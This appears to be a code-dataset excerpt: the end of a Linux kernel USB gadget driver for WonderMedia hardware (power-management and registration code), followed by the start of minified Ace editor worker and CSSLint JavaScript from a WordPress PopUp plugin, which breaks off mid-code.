} return NOTIFY_OK; } static struct notifier_block wmt_udc_pm_notifier = { .notifier_call = wmt_udc_pm_notify, }; static int wmt_udc_suspend(struct platform_device *pdev, pm_message_t state) { DBG("wmt_udc_suspend()\n"); printk(KERN_INFO "wmt_udc_suspend\n"); //gri #if 0 if (udc->driver){ run_script(action_off_line); } gadget_connect=0; run_script(action_mount); #endif pDevReg->CommandStatus &= 0x1F; pUSBMiscControlRegister5 = (unsigned char *)(USB_UDC_REG_BASE + 0x1A0); /**pUSBMiscControlRegister5 = 0x02;// USB PHY in power down & USB in reset*/ *pUSBMiscControlRegister5 = 0x00;/*USB in reset*/ wmb(); TestMode = 0; #if 0 down(&wmt_udc_sem); pullup_disable(udc); up(&wmt_udc_sem); #endif /* if ((state == 3) && (level == 3))*/ /* *(volatile unsigned int *)(PM_CTRL_BASE_ADDR + 0x254) &= ~0x00000080;*/ /*DPM needed*/ *(volatile unsigned char*)(USB_IP_BASE + 0x249) |= 0x04; return 0; } /*wmt_udc_suspend()*/ static int wmt_udc_resume(struct platform_device *pdev) { #if 0 DBG("wmt_udc_resume()\n"); printk(KERN_INFO "wmt_udc_resume\n"); //gri down(&wmt_udc_sem); reset_udc(); pullup_enable(udc); up(&wmt_udc_sem); return wmt_wakeup(&udc->gadget); #endif reset_udc(); return 0; } /*wmt_udc_resume()*/ /*-------------------------------------------------------------------------*/ static struct platform_driver udc_driver = { .driver.name = (char *) driver_name, .probe = wmt_udc_probe, .remove = __exit_p(wmt_udc_remove), .suspend = wmt_udc_suspend, .resume = wmt_udc_resume, }; static struct resource wmt_udc_resources[] = { [0] = { .start = (USB_IP_BASE + 0x2000), .end = (USB_IP_BASE + 0x2400), .flags = IORESOURCE_MEM, }, }; static u64 wmt_udc_dma_mask = 0xFFFFF000; static struct platform_device wmt_udc_device = { .name = (char *) driver_name, .id = 0, .dev = { .dma_mask = &wmt_udc_dma_mask, .coherent_dma_mask = ~0, }, .num_resources = ARRAY_SIZE(wmt_udc_resources), .resource = wmt_udc_resources, }; void wmt_cleanup_done_thread(int number) { unsigned long flags; struct usb_composite_dev *cdev = get_gadget_data(&(udc->gadget)); #if 1 if(number == 1) { if(in_interrupt()) return; if(spin_is_locked(&cdev->lock)){ //local_irq_save(flags); spin_unlock(&cdev->lock); //local_irq_enable(); //schedule_work(&done_thread); flush_work_sync(&done_thread); //local_irq_restore(flags); spin_lock(&cdev->lock); }else{ flush_work_sync(&done_thread); } //wmt_ep_disable(&udc->ep[0]); spin_lock_irqsave(&udc->lock, flags); nuke(&udc->ep[0],ESHUTDOWN); spin_unlock_irqrestore(&udc->lock, flags); }else if(number == 2) { }else{ //flush_work_sync(&mount_thread); printk("erro parameter:%s\n",__func__); } #endif } EXPORT_SYMBOL(wmt_cleanup_done_thread); static int __init udc_init(void) { INFO("%s, version: " DRIVER_VERSION "%s\n", driver_desc, use_dma ? " (dma)" : ""); DBG("udc_init()\n"); //INIT_WORK(&online_thread, run_online); INIT_WORK(&offline_thread, run_offline); INIT_WORK(&done_thread, run_done); INIT_WORK(&chkiso_thread, run_chkiso); platform_device_register(&wmt_udc_device); register_pm_notifier(&wmt_udc_pm_notifier); return platform_driver_register(&udc_driver); } /*udc_init()*/ module_init(udc_init); static void __exit udc_exit(void) { DBG("udc_exit()\n"); //driver_unregister(&udc_driver); platform_driver_unregister(&udc_driver); platform_device_unregister(&wmt_udc_device); } /*udc_exit()*/ module_exit(udc_exit); MODULE_DESCRIPTION(DRIVER_DESC); MODULE_LICENSE("GPL");
FOSSEE/FOSSEE-netbook-kernel-source
drivers/usb/gadget/udc_wmt.c
C
gpl-2.0
128,878
/*! PopUp Free - v4.7.03 * https://wordpress.org/plugins/wordpress-popup/ * Copyright (c) 2014; * Licensed GPLv2+ */ "no use strict";(function(e){if(void 0===e.window||!e.document){e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:"log",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,i,n,r){postMessage({type:"error",data:{message:e,file:t,line:i,col:n,stack:r.stack}})},e.normalizeModule=function(t,i){if(-1!==i.indexOf("!")){var n=i.split("!");return e.normalizeModule(t,n[0])+"!"+e.normalizeModule(t,n[1])}if("."==i.charAt(0)){var r=t.split("/").slice(0,-1).join("/");for(i=(r?r+"/":"")+i;-1!==i.indexOf(".")&&o!=i;){var o=i;i=i.replace(/^\.\//,"").replace(/\/\.\//,"/").replace(/[^\/]+\/\.\.\//,"")}}return i},e.require=function(t,i){if(i||(i=t,t=null),!i.charAt)throw Error("worker.js require() accepts only (parentId, id) as arguments");i=e.normalizeModule(t,i);var n=e.require.modules[i];if(n)return n.initialized||(n.initialized=!0,n.exports=n.factory().exports),n.exports;var r=i.split("/");if(!e.require.tlns)return console.log("unable to load "+i);r[0]=e.require.tlns[r[0]]||r[0];var o=r.join("/")+".js";return e.require.id=i,importScripts(o),e.require(t,i)},e.require.modules={},e.require.tlns={},e.define=function(t,i,n){if(2==arguments.length?(n=i,"string"!=typeof t&&(i=t,t=e.require.id)):1==arguments.length&&(n=t,i=[],t=e.require.id),"function"!=typeof n)return e.require.modules[t]={exports:n,initialized:!0},void 0;i.length||(i=["require","exports","module"]);var r=function(i){return e.require(t,i)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=n.apply(this,i.map(function(t){switch(t){case"require":return r;case"exports":return e.exports;case"module":return e;default:return r(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},e.initBaseUrls=function t(e){require.tlns=e},e.initSender=function i(){var t=e.require("ace/lib/event_emitter").EventEmitter,i=e.require("ace/lib/oop"),n=function(){};return function(){i.implement(this,t),this.callback=function(e,t){postMessage({type:"call",id:t,data:e})},this.emit=function(e,t){postMessage({type:"event",name:e,data:t})}}.call(n.prototype),new n};var n=e.main=null,r=e.sender=null;e.onmessage=function(o){var s=o.data;if(s.command){if(!n[s.command])throw Error("Unknown command:"+s.command);n[s.command].apply(n,s.args)}else if(s.init){t(s.tlns),require("ace/lib/es5-shim"),r=e.sender=i();var a=require(s.module)[s.classname];n=e.main=new a(r)}else s.event&&r&&r._signal(s.event,s.data)}}})(this),ace.define("ace/lib/oop",["require","exports","module"],function(e,t){"use strict";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var i in t)e[i]=t[i];return e},t.implement=function(e,i){t.mixin(e,i)}}),ace.define("ace/lib/lang",["require","exports","module"],function(e,t){"use strict";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split("").reverse().join("")},t.stringRepeat=function(e,t){for(var i="";t>0;)1&t&&(i+=e),(t>>=1)&&(e+=e);return i};var i=/^\s\s*/,n=/\s\s*$/;t.stringTrimLeft=function(e){return e.replace(i,"")},t.stringTrimRight=function(e){return e.replace(n,"")},t.copyObject=function(e){var t={};for(var i in e)t[i]=e[i];return t},t.copyArray=function(e){for(var t=[],i=0,n=e.length;n>i;i++)t[i]=e[i]&&"object"==typeof e[i]?this.copyObject(e[i]):e[i];return t},t.deepCopy=function(e){if("object"!=typeof e||!e)return e;var i=e.constructor;if(i===RegExp)return e;var n=i();for(var r in e)n[r]="object"==typeof e[r]?t.deepCopy(e[r]):e[r];return n},t.arrayToMap=function(e){for(var t={},i=0;e.length>i;i++)t[e[i]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var i in e)t[i]=e[i];return t},t.arrayRemove=function(e,t){for(var i=0;e.length>=i;i++)t===e[i]&&e.splice(i,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\]\/\\])/g,"\\$1")},t.escapeHTML=function(e){return e.replace(/&/g,"&#38;").replace(/"/g,"&#34;").replace(/'/g,"&#39;").replace(/</g,"&#60;")},t.getMatchOffsets=function(e,t){var i=[];return e.replace(t,function(e){i.push({offset:arguments[arguments.length-2],length:e.length})}),i},t.deferredCall=function(e){var t=null,i=function(){t=null,e()},n=function(e){return n.cancel(),t=setTimeout(i,e||0),n};return n.schedule=n,n.call=function(){return this.cancel(),e(),n},n.cancel=function(){return clearTimeout(t),t=null,n},n.isPending=function(){return t},n},t.delayedCall=function(e,t){var i=null,n=function(){i=null,e()},r=function(e){null==i&&(i=setTimeout(n,e||t))};return r.delay=function(e){i&&clearTimeout(i),i=setTimeout(n,e||t)},r.schedule=r,r.call=function(){this.cancel(),e()},r.cancel=function(){i&&clearTimeout(i),i=null},r.isPending=function(){return i},r}}),ace.define("ace/lib/event_emitter",["require","exports","module"],function(e,t){"use strict";var i={},n=function(){this.propagationStopped=!0},r=function(){this.defaultPrevented=!0};i._emit=i._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var i=this._eventRegistry[e]||[],o=this._defaultHandlers[e];if(i.length||o){"object"==typeof t&&t||(t={}),t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=n),t.preventDefault||(t.preventDefault=r),i=i.slice();for(var s=0;i.length>s&&(i[s](t,this),!t.propagationStopped);s++);return o&&!t.defaultPrevented?o(t,this):void 0}},i._signal=function(e,t){var i=(this._eventRegistry||{})[e];if(i){i=i.slice();for(var n=0;i.length>n;n++)i[n](t,this)}},i.once=function(e,t){var i=this;t&&this.addEventListener(e,function n(){i.removeEventListener(e,n),t.apply(null,arguments)})},i.setDefaultHandler=function(e,t){var i=this._defaultHandlers;if(i||(i=this._defaultHandlers={_disabled_:{}}),i[e]){var n=i[e],r=i._disabled_[e];r||(i._disabled_[e]=r=[]),r.push(n);var o=r.indexOf(t);-1!=o&&r.splice(o,1)}i[e]=t},i.removeDefaultHandler=function(e,t){var i=this._defaultHandlers;if(i){var n=i._disabled_[e];if(i[e]==t)i[e],n&&this.setDefaultHandler(e,n.pop());else if(n){var r=n.indexOf(t);-1!=r&&n.splice(r,1)}}},i.on=i.addEventListener=function(e,t,i){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];return n||(n=this._eventRegistry[e]=[]),-1==n.indexOf(t)&&n[i?"unshift":"push"](t),t},i.off=i.removeListener=i.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var i=this._eventRegistry[e];if(i){var n=i.indexOf(t);-1!==n&&i.splice(n,1)}},i.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=i}),ace.define("ace/range",["require","exports","module"],function(e,t){"use strict";var i=function(e,t){return e.row-t.row||e.column-t.column},n=function(e,t,i,n){this.start={row:e,column:t},this.end={row:i,column:n}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return"Range: ["+this.start.row+"/"+this.start.column+"] -> ["+this.end.row+"/"+this.end.column+"]"},this.contains=function(e,t){return 0==this.compare(e,t)},this.compareRange=function(e){var t,i=e.end,n=e.start;return t=this.compare(i.row,i.column),1==t?(t=this.compare(n.row,n.column),1==t?2:0==t?1:0):-1==t?-2:(t=this.compare(n.row,n.column),-1==t?-1:1==t?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return 0==this.comparePoint(e.start)&&0==this.comparePoint(e.end)},this.intersects=function(e){var t=this.compareRange(e);return-1==t||0==t||1==t},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){"object"==typeof e?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){"object"==typeof e?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return 0==this.compare(e,t)?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return 0==this.compare(e,t)?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return 0==this.compare(e,t)?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return this.isMultiLine()||e!==this.start.row?this.start.row>e?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?this.end.column>=t?0:1:0:this.start.column>t?-1:t>this.end.column?1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var i={row:t+1,column:0};else if(e>this.end.row)var i={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(e>this.start.row)var r={row:e,column:0};return n.fromPoints(r||this.start,i||this.end)},this.extend=function(e,t){var i=this.compare(e,t);if(0==i)return this;if(-1==i)var r={row:e,column:t};else var o={row:e,column:t};return n.fromPoints(r||this.start,o||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return n.fromPoints(this.start,this.end)},this.collapseRows=function(){return 0==this.end.column?new n(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new n(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),i=e.documentToScreenPosition(this.end);return new n(t.row,t.column,i.row,i.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(n.prototype),n.fromPoints=function(e,t){return new n(e.row,e.column,t.row,t.column)},n.comparePoints=i,n.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=n}),ace.define("ace/anchor",["require","exports","module","ace/lib/oop","ace/lib/event_emitter"],function(e,t){"use strict";var i=e("./lib/oop"),n=e("./lib/event_emitter").EventEmitter,r=t.Anchor=function(e,t,i){this.$onChange=this.onChange.bind(this),this.attach(e),i===void 0?this.setPosition(t.row,t.column):this.setPosition(t,i)};(function(){i.implement(this,n),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){var t=e.data,i=t.range;if(!(i.start.row==i.end.row&&i.start.row!=this.row||i.start.row>this.row||i.start.row==this.row&&i.start.column>this.column)){var n=this.row,r=this.column,o=i.start,s=i.end;"insertText"===t.action?o.row===n&&r>=o.column?o.column===r&&this.$insertRight||(o.row===s.row?r+=s.column-o.column:(r-=o.column,n+=s.row-o.row)):o.row!==s.row&&n>o.row&&(n+=s.row-o.row):"insertLines"===t.action?o.row===n&&0===r&&this.$insertRight||n>=o.row&&(n+=s.row-o.row):"removeText"===t.action?o.row===n&&r>o.column?r=s.column>=r?o.column:Math.max(0,r-(s.column-o.column)):o.row!==s.row&&n>o.row?(s.row===n&&(r=Math.max(0,r-s.column)+o.column),n-=s.row-o.row):s.row===n&&(n-=s.row-o.row,r=Math.max(0,r-s.column)+o.column):"removeLines"==t.action&&n>=o.row&&(n>=s.row?n-=s.row-o.row:(n=o.row,r=0)),this.setPosition(n,r,!0)}},this.setPosition=function(e,t,i){var n;if(n=i?{row:e,column:t}:this.$clipPositionToDocument(e,t),this.row!=n.row||this.column!=n.column){var r={row:this.row,column:this.column};this.row=n.row,this.column=n.column,this._signal("change",{old:r,value:n})}},this.detach=function(){this.document.removeEventListener("change",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on("change",this.$onChange)},this.$clipPositionToDocument=function(e,t){var i={};return e>=this.document.getLength()?(i.row=Math.max(0,this.document.getLength()-1),i.column=this.document.getLine(i.row).length):0>e?(i.row=0,i.column=0):(i.row=e,i.column=Math.min(this.document.getLine(i.row).length,Math.max(0,t))),0>t&&(i.column=0),i}}).call(r.prototype)}),ace.define("ace/document",["require","exports","module","ace/lib/oop","ace/lib/event_emitter","ace/range","ace/anchor"],function(e,t){"use strict";var i=e("./lib/oop"),n=e("./lib/event_emitter").EventEmitter,r=e("./range").Range,o=e("./anchor").Anchor,s=function(e){this.$lines=[],0===e.length?this.$lines=[""]:Array.isArray(e)?this._insertLines(0,e):this.insert({row:0,column:0},e)};(function(){i.implement(this,n),this.setValue=function(e){var t=this.getLength();this.remove(new r(0,0,t,this.getLine(t-1).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new o(this,e,t)},this.$split=0==="aaa".split(/a/).length?function(e){return e.replace(/\r\n|\r/g,"\n").split("\n")}:function(e){return e.split(/\r\n|\r|\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\r\n|\r|\n)/m);this.$autoNewLine=t?t[1]:"\n",this._signal("changeNewLineMode")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case"windows":return"\r\n";case"unix":return"\n";default:return this.$autoNewLine||"\n"}},this.$autoNewLine="",this.$newLineMode="auto",this.setNewLineMode=function(e){this.$newLineMode!==e&&(this.$newLineMode=e,this._signal("changeNewLineMode"))},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return"\r\n"==e||"\r"==e||"\n"==e},this.getLine=function(e){return this.$lines[e]||""},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){if(e.start.row==e.end.row)return this.getLine(e.start.row).substring(e.start.column,e.end.column);var t=this.getLines(e.start.row,e.end.row);t[0]=(t[0]||"").substring(e.start.column);var i=t.length-1;return e.end.row-e.start.row==i&&(t[i]=t[i].substring(0,e.end.column)),t.join(this.getNewLineCharacter())},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):0>e.row&&(e.row=0),e},this.insert=function(e,t){if(!t||0===t.length)return e;e=this.$clipPosition(e),1>=this.getLength()&&this.$detectNewLine(t);var i=this.$split(t),n=i.splice(0,1)[0],r=0==i.length?null:i.splice(i.length-1,1)[0];return e=this.insertInLine(e,n),null!==r&&(e=this.insertNewLine(e),e=this._insertLines(e.row,i),e=this.insertInLine(e,r||"")),e},this.insertLines=function(e,t){return e>=this.getLength()?this.insert({row:e,column:0},"\n"+t.join("\n")):this._insertLines(Math.max(e,0),t)},this._insertLines=function(e,t){if(0==t.length)return{row:e,column:0};for(;t.length>61440;){var i=this._insertLines(e,t.slice(0,61440));t=t.slice(61440),e=i.row}var n=[e,0];n.push.apply(n,t),this.$lines.splice.apply(this.$lines,n);var o=new r(e,0,e+t.length,0),s={action:"insertLines",range:o,lines:t};return this._signal("change",{data:s}),o.end},this.insertNewLine=function(e){e=this.$clipPosition(e);var t=this.$lines[e.row]||"";this.$lines[e.row]=t.substring(0,e.column),this.$lines.splice(e.row+1,0,t.substring(e.column,t.length));var i={row:e.row+1,column:0},n={action:"insertText",range:r.fromPoints(e,i),text:this.getNewLineCharacter()};return this._signal("change",{data:n}),i},this.insertInLine=function(e,t){if(0==t.length)return e;var i=this.$lines[e.row]||"";this.$lines[e.row]=i.substring(0,e.column)+t+i.substring(e.column);var n={row:e.row,column:e.column+t.length},o={action:"insertText",range:r.fromPoints(e,n),text:t};return this._signal("change",{data:o}),n},this.remove=function(e){if(e instanceof r||(e=r.fromPoints(e.start,e.end)),e.start=this.$clipPosition(e.start),e.end=this.$clipPosition(e.end),e.isEmpty())return e.start;var t=e.start.row,i=e.end.row;if(e.isMultiLine()){var n=0==e.start.column?t:t+1,o=i-1;e.end.column>0&&this.removeInLine(i,0,e.end.column),o>=n&&this._removeLines(n,o),n!=t&&(this.removeInLine(t,e.start.column,this.getLine(t).length),this.removeNewLine(e.start.row))}else this.removeInLine(t,e.start.column,e.end.column);return e.start},this.removeInLine=function(e,t,i){if(t!=i){var n=new r(e,t,e,i),o=this.getLine(e),s=o.substring(t,i),a=o.substring(0,t)+o.substring(i,o.length);this.$lines.splice(e,1,a);var l={action:"removeText",range:n,text:s};return this._signal("change",{data:l}),n.start}},this.removeLines=function(e,t){return 0>e||t>=this.getLength()?this.remove(new r(e,0,t+1,0)):this._removeLines(e,t)},this._removeLines=function(e,t){var i=new r(e,0,t+1,0),n=this.$lines.splice(e,t-e+1),o={action:"removeLines",range:i,nl:this.getNewLineCharacter(),lines:n};return this._signal("change",{data:o}),n},this.removeNewLine=function(e){var t=this.getLine(e),i=this.getLine(e+1),n=new r(e,t.length,e+1,0),o=t+i;this.$lines.splice(e,2,o);var s={action:"removeText",range:n,text:this.getNewLineCharacter()};this._signal("change",{data:s})},this.replace=function(e,t){if(e instanceof r||(e=r.fromPoints(e.start,e.end)),0==t.length&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;if(this.remove(e),t)var i=this.insert(e.start,t);else i=e.start;return i},this.applyDeltas=function(e){for(var t=0;e.length>t;t++){var i=e[t],n=r.fromPoints(i.range.start,i.range.end);"insertLines"==i.action?this.insertLines(n.start.row,i.lines):"insertText"==i.action?this.insert(n.start,i.text):"removeLines"==i.action?this._removeLines(n.start.row,n.end.row-1):"removeText"==i.action&&this.remove(n)}},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--){var i=e[t],n=r.fromPoints(i.range.start,i.range.end);"insertLines"==i.action?this._removeLines(n.start.row,n.end.row-1):"insertText"==i.action?this.remove(n):"removeLines"==i.action?this._insertLines(n.start.row,i.lines):"removeText"==i.action&&this.insert(n.start,i.text)}},this.indexToPosition=function(e,t){for(var i=this.$lines||this.getAllLines(),n=this.getNewLineCharacter().length,r=t||0,o=i.length;o>r;r++)if(e-=i[r].length+n,0>e)return{row:r,column:e+i[r].length+n};return{row:o-1,column:i[o-1].length}},this.positionToIndex=function(e,t){for(var i=this.$lines||this.getAllLines(),n=this.getNewLineCharacter().length,r=0,o=Math.min(e.row,i.length),s=t||0;o>s;++s)r+=i[s].length+n;return r+e.column}}).call(s.prototype),t.Document=s}),ace.define("ace/worker/mirror",["require","exports","module","ace/document","ace/lib/lang"],function(e,t){"use strict";var i=e("../document").Document,n=e("../lib/lang"),r=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(""),r=this.deferredUpdate=n.delayedCall(this.onUpdate.bind(this)),o=this;e.on("change",function(e){return t.applyDeltas(e.data),o.$timeout?r.schedule(o.$timeout):(o.onUpdate(),void 0)})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(r.prototype)}),ace.define("ace/mode/css/csslint",["require","exports","module"],function(require,exports,module){function objectToString(e){return Object.prototype.toString.call(e)}function clone(e,t,i,n){function r(e,i){if(null===e)return null;if(0==i)return e;var l;if("object"!=typeof e)return e;if(util.isArray(e))l=[];else if(util.isRegExp(e))l=RegExp(e.source,util.getRegExpFlags(e)),e.lastIndex&&(l.lastIndex=e.lastIndex);else if(util.isDate(e))l=new Date(e.getTime());else{if(a&&Buffer.isBuffer(e))return l=new Buffer(e.length),e.copy(l),l;l=n===void 0?Object.create(Object.getPrototypeOf(e)):Object.create(n)}if(t){var c=o.indexOf(e);if(-1!=c)return s[c];o.push(e),s.push(l)}for(var h in e)l[h]=r(e[h],i-1);return l}var o=[],s=[],a="undefined"!=typeof Buffer;return t===void 0&&(t=!0),i===void 0&&(i=1/0),r(e,i)}function Reporter(e,t){this.messages=[],this.stats=[],this.lines=e,this.ruleset=t}var parserlib={};(function(){function e(){this._listeners={}}function t(e){this._input=e.replace(/\n\r?/g,"\n"),this._line=1,this._col=1,this._cursor=0}function i(e,t,i){this.col=i,this.line=t,this.message=e}function n(e,t,i,n){this.col=i,this.line=t,this.text=e,this.type=n}function r(e,i){this._reader=e?new t(""+e):null,this._token=null,this._tokenData=i,this._lt=[],this._ltIndex=0,this._ltIndexCache=[]}e.prototype={constructor:e,addListener:function(e,t){this._listeners[e]||(this._listeners[e]=[]),this._listeners[e].push(t)},fire:function(e){if("string"==typeof e&&(e={type:e}),e.target!==void 0&&(e.target=this),e.type===void 0)throw Error("Event object missing 'type' property.");if(this._listeners[e.type])for(var t=this._listeners[e.type].concat(),i=0,n=t.length;n>i;i++)t[i].call(this,e)},removeListener:function(e,t){if(this._listeners[e])for(var i=this._listeners[e],n=0,r=i.length;r>n;n++)if(i[n]===t){i.splice(n,1);break}}},t.prototype={constructor:t,getCol:function(){return this._col},getLine:function(){return this._line},eof:function(){return this._cursor==this._input.length},peek:function(e){var t=null;return e=e===void 0?1:e,this._cursor<this._input.length&&(t=this._input.charAt(this._cursor+e-1)),t},read:function(){var e=null;return this._cursor<this._input.length&&("\n"==this._input.charAt(this._cursor)?(this._line++,this._col=1):this._col++,e=this._input.charAt(this._cursor++)),e},mark:function(){this._bookmark={cursor:this._cursor,line:this._line,col:this._col}},reset:function(){this._bookmark&&(this._cursor=this._bookmark.cursor,this._line=this._bookmark.line,this._col=this._bookmark.col,delete this._bookmark)},readTo:function(e){for(var t,i="";i.length<e.length||i.lastIndexOf(e)!=i.length-e.length;){if(t=this.read(),!t)throw Error('Expected "'+e+'" at line '+this._line+", col "+this._col+".");i+=t}return i},readWhile:function(e){for(var t="",i=this.read();null!==i&&e(i);)t+=i,i=this.read();return t},readMatch:function(e){var t=this._input.substring(this._cursor),i=null;return"string"==typeof e?0===t.indexOf(e)&&(i=this.readCount(e.length)):e instanceof RegExp&&e.test(t)&&(i=this.readCount(RegExp.lastMatch.length)),i},readCount:function(e){for(var t="";e--;)t+=this.read();return t}},i.prototype=Error(),n.fromToken=function(e){return new n(e.value,e.startLine,e.startCol)},n.prototype={constructor:n,valueOf:function(){return this.text},toString:function(){return this.text}},r.createTokenData=function(e){var t=[],i={},n=e.concat([]),r=0,o=n.length+1;for(n.UNKNOWN=-1,n.unshift({name:"EOF"});o>r;r++)t.push(n[r].name),n[n[r].name]=r,n[r].text&&(i[n[r].text]=r);return n.name=function(e){return t[e]},n.type=function(e){return i[e]},n},r.prototype={constructor:r,match:function(e,t){e instanceof Array||(e=[e]);for(var i=this.get(t),n=0,r=e.length;r>n;)if(i==e[n++])return!0;return this.unget(),!1},mustMatch:function(e){var t;if(e instanceof Array||(e=[e]),!this.match.apply(this,arguments))throw t=this.LT(1),new i("Expected "+this._tokenData[e[0]].name+" at line "+t.startLine+", col "+t.startCol+".",t.startLine,t.startCol)},advance:function(e,t){for(;0!==this.LA(0)&&!this.match(e,t);)this.get();return this.LA(0)},get:function(e){var t,i,n=this._tokenData,r=(this._reader,0);if(n.length,this._lt.length&&this._ltIndex>=0&&this._ltIndex<this._lt.length){for(r++,this._token=this._lt[this._ltIndex++],i=n[this._token.type];void 0!==i.channel&&e!==i.channel&&this._ltIndex<this._lt.length;)this._token=this._lt[this._ltIndex++],i=n[this._token.type],r++;if((void 0===i.channel||e===i.channel)&&this._ltIndex<=this._lt.length)return this._ltIndexCache.push(r),this._token.type}return t=this._getToken(),t.type>-1&&!n[t.type].hide&&(t.channel=n[t.type].channel,this._token=t,this._lt.push(t),this._ltIndexCache.push(this._lt.length-this._ltIndex+r),this._lt.length>5&&this._lt.shift(),this._ltIndexCache.length>5&&this._ltIndexCache.shift(),this._ltIndex=this._lt.length),i=n[t.type],i&&(i.hide||void 0!==i.channel&&e!==i.channel)?this.get(e):t.type},LA:function(e){var t,i=e;if(e>0){if(e>5)throw Error("Too much lookahead.");for(;i;)t=this.get(),i--;for(;e>i;)this.unget(),i++}else if(0>e){if(!this._lt[this._ltIndex+e])throw Error("Too much lookbehind.");t=this._lt[this._ltIndex+e].type}else t=this._token.type;return t},LT:function(e){return this.LA(e),this._lt[this._ltIndex+e-1]},peek:function(){return this.LA(1)},token:function(){return this._token},tokenName:function(e){return 0>e||e>this._tokenData.length?"UNKNOWN_TOKEN":this._tokenData[e].name},tokenType:function(e){return this._tokenData[e]||-1},unget:function(){if(!this._ltIndexCache.length)throw Error("Too much lookahead.");this._ltIndex-=this._ltIndexCache.pop(),this._token=this._lt[this._ltIndex-1]}},parserlib.util={StringReader:t,SyntaxError:i,SyntaxUnit:n,EventTarget:e,TokenStreamBase:r}})(),function(){function Combinator(e,t,i){SyntaxUnit.call(this,e,t,i,Parser.COMBINATOR_TYPE),this.type="unknown",/^\s+$/.test(e)?this.type="descendant":">"==e?this.type="child":"+"==e?this.type="adjacent-sibling":"~"==e&&(this.type="sibling")}function MediaFeature(e,t){SyntaxUnit.call(this,"("+e+(null!==t?":"+t:"")+")",e.startLine,e.startCol,Parser.MEDIA_FEATURE_TYPE),this.name=e,this.value=t}function MediaQuery(e,t,i,n,r){SyntaxUnit.call(this,(e?e+" ":"")+(t?t:"")+(t&&i.length>0?" and ":"")+i.join(" and "),n,r,Parser.MEDIA_QUERY_TYPE),this.modifier=e,this.mediaType=t,this.features=i}function Parser(e){EventTarget.call(this),this.options=e||{},this._tokenStream=null}function PropertyName(e,t,i,n){SyntaxUnit.call(this,e,i,n,Parser.PROPERTY_NAME_TYPE),this.hack=t}function PropertyValue(e,t,i){SyntaxUnit.call(this,e.join(" "),t,i,Parser.PROPERTY_VALUE_TYPE),this.parts=e}function PropertyValueIterator(e){this._i=0,this._parts=e.parts,this._marks=[],this.value=e}function PropertyValuePart(text,line,col){SyntaxUnit.call(this,text,line,col,Parser.PROPERTY_VALUE_PART_TYPE),this.type="unknown";var 